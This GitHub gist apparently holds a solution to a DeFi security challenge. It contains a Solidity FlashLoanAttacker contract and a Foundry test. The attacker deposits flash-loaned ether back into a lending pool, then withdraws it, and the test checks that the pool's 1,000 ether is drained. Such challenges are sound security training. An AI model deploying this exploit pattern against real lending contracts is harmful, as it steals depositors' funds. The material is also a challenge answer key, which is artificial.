Skip to content

Instantly share code, notes, and snippets.

@psychemist
Created October 26, 2024 16:24
Show Gist options
  • Select an option

  • Save psychemist/c1dc4efcfad593c1fc5088927fe1ea13 to your computer and use it in GitHub Desktop.

Select an option

Save psychemist/c1dc4efcfad593c1fc5088927fe1ea13 to your computer and use it in GitHub Desktop.
contract FlashLoanAttacker is IFlashLoanEtherReceiver {
Web3BridgeCXIPool private immutable pool;
constructor(address poolAddress) {
pool = Web3BridgeCXIPool(poolAddress);
}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
function execute() external payable override {
pool.deposit{value: msg.value}();
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
import {Utilities} from "../utils/Utilities.sol";
import "forge-std/Test.sol";
import {Web3BridgeCXIPool, FlashLoanAttacker} from "src/web3bridgecxipool.sol";
contract Web3BridgeCXIPoolTest is Test {
uint256 internal constant ETHER_IN_POOL = 1_000e18;
Utilities internal utils;
Web3BridgeCXIPool internal pool;
address payable internal attacker;
uint256 public attackerInitialEthBalance;
function setUp() public {
utils = new Utilities();
address payable[] memory users = utils.createUsers(1);
attacker = users[0];
vm.label(attacker, "Attacker");
pool = new Web3BridgeCXIPool();
vm.label(address(pool), "Web3 Bridge Lender Pool");
vm.deal(address(pool), ETHER_IN_POOL);
assertEq(address(pool).balance, ETHER_IN_POOL);
attackerInitialEthBalance = address(attacker).balance;
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.startPrank(attacker);
FlashLoanAttacker attackerContract = new FlashLoanAttacker(address(pool));
attackerContract.attack();
vm.stopPrank();
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n🎉 Congratulations, you have solved it! 🎉");
}
function validation() internal view{
assertEq(address(pool).balance, 0);
assertGt(attacker.balance, attackerInitialEthBalance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment